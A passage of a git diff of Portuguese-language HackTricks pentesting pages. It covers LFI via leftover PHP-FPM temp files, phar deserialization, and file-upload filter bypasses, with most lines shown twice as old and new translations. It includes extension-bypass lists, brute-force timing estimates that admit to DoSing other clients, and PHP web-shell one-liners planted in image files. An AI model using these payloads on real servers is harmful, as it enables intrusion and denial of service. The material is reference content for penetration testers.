* (sem dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chance em 93h)
{% hint style="warning" %}
Observe que no exemplo anterior estamos **completamente DoSando outros clientes**!
Note que no exemplo anterior estamos **completamente DoSing outros clientes**!
{% endhint %}
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do caminho para o número máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19,7h** ou **6,9h** (10h, 3,5h 50% de chance).
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
## PHP-FMP
Se em vez de usar o módulo php regular para o apache executar scripts PHP, a **página da web estiver usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
Se, em vez de usar o módulo php regular para apache para executar scripts PHP, a **página web estiver usando** **PHP-FMP** (isso melhora a eficiência da página web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
O PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Este parâmetro indica o tempo máximo em segundos **quando** **a solicitação ao PHP deve ser encerrada** (infinito por padrão, mas **30s se o parâmetro não estiver comentado**). Quando uma solicitação está sendo processada pelo PHP pelo número de segundos indicado, ela é **encerrada**. Isso significa que, se a solicitação estivesse enviando arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, poderá **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduzirá a probabilidade de um DoS na plataforma consumindo todas as conexões.
PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Este parâmetro indica a quantidade máxima de segundos **quando** **a solicitação ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro for descomentado**). Quando uma solicitação está sendo processada pelo PHP pelo número indicado de segundos, ela é **encerrada**. Isso significa que, se a solicitação estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, você pode **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
Portanto, para **evitar DoS**, vamos supor que um **atacante usará apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**)** é de **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66,67`.
Então, para **evitar DoS** vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**) é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
Então, para gerar **10000 arquivos**, um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria de **25min**).
Então, para gerar **10000 arquivos** um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria **25min**).
Em seguida, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. \*\*\*\* Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
* 56800235584 / 10000 / 300 / 3600 \~= **5,25 horas** (50% de chance em 2,63h)
* (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0,525 horas** (50% de chance em 0,263h)
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de chance em 2.63h)
* (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de chance em 0.263h)
Sim, é possível gerar 100000 arquivos temporários em uma instância de tamanho médio do EC2:
Sim, é possível gerar 100000 arquivos temporários em uma instância EC2 de tamanho médio:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
Observe que para acionar o tempo limite, seria **suficiente incluir a página LFI vulnerável**, para que ela entre em um loop de inclusão eterna.
Note que para acionar o tempo limite seria **suficiente incluir a página LFI vulnerável**, para que entre em um loop de inclusão eterno.
{% endhint %}
## Nginx
Parece que por padrão o Nginx suporta **512 conexões paralelas** ao mesmo tempo (e esse número pode ser melhorado).
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

48
pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View file

File diff suppressed because one or more lines are too long

32
pentesting-web/file-inclusion/phar-deserialization.md
View file

@ -2,19 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se está interessado numa **carreira em hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -85,20 +87,22 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? Ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

199
pentesting-web/file-upload/README.md
View file

@ -1,43 +1,45 @@
# Envio de Arquivos
# Upload de Arquivo
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
**Dica para caça a bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de caça a bugs criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Metodologia Geral de Envio de Arquivos
## Metodologia Geral de Upload de Arquivo
Outras extensões úteis:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Trabalhando em PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **Funcionando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Servidor Web Erlang Yaws**: _.yaws_
* **Erlang Yaws Web Server**: _.yaws_
### Bypass de verificação de extensões de arquivo
### Bypass nas verificações de extensões de arquivo
1. Se aplicável, **verifique** as **extensões anteriores**. Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
* _file.png.php_
* _file.png.Php5_
3. Tente adicionar **caracteres especiais no final**. Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Observe que você também pode tentar usar as **extensões anteriores**_)
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões mencionadas anteriormente**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -47,7 +49,7 @@ Outras extensões úteis:
* _file._
* _file.php...._
* _file.pHp5...._
4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes nulos) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar uma carga útil melhor._
4. Tente burlar as proteções **enganando o analisador de extensões** do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados inúteis** (**bytes nulos**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -56,74 +58,73 @@ Outras extensões úteis:
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Adicione **mais uma camada de extensões** à verificação anterior:
5. Adicione **outra camada de extensões** à verificação anterior:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar más configurações do Apache, onde qualquer coisa com a extensão **.php**, mas **não necessariamente terminando em .php**, executará código):
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar más configurações do Apache onde qualquer coisa com extensão **.php**, mas não necessariamente terminando em .php, executará código):
* _ex: file.php.png_
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão "**::$data**" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, "file.asp::$data.")
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para burlar restrições adicionais (.e.g. “file.asp::$data.”)
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
```
# Linux máximo de 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicione .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos que 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crie o payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Prepare o payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypassar Content-Type, Magic Number, Compressão e Redimensionamento
### Bypass nas verificações de Content-Type, Número Mágico, Compressão & Redimensionamento
* Bypassar verificações de **Content-Type** definindo o **valor** do **header Content-Type** para: _image/png_, _text/plain_, _application/octet-stream_
1. Wordlist de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Bypassar verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell nos **metadados**:\
* Burlar verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
1. Lista de palavras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Burlar a verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Se a **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a técnica do **chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a técnica do **chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Outra técnica para criar um payload que **sobreviva ao redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a técnica do **chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Outros truques para verificar
### Outros Truques para Verificar
* Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão).
* Encontre uma vulnerabilidade de **Inclusão de Arquivo Local** para executar a backdoor.
* Encontre uma vulnerabilidade para **renomear** o arquivo já carregado (para mudar a extensão).
* Encontre uma vulnerabilidade de **Inclusão Local de Arquivo** para executar o backdoor.
* **Possível divulgação de informações**:
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se o aplicativo salvar os arquivos carregados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
4. Faça o upload de um arquivo que não possa ser excluído facilmente, como **“…:.jpg”** no **NTFS**. (Windows)
5. Faça o upload de um arquivo no **Windows** com caracteres inválidos, como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes** **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Tente também fazer o **upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
### Truques especiais de extensão
Se você está tentando fazer upload de arquivos para um servidor **PHP**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se você está tentando fazer upload de arquivos para um servidor **PHP**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP ou incluindo-o em um script...)
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
A extensão `.inc` é às vezes usada para arquivos PHP que são usados apenas para **importar arquivos**, então, em algum momento, alguém pode ter permitido **a execução dessa extensão**.
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.
## **Jetty RCE**
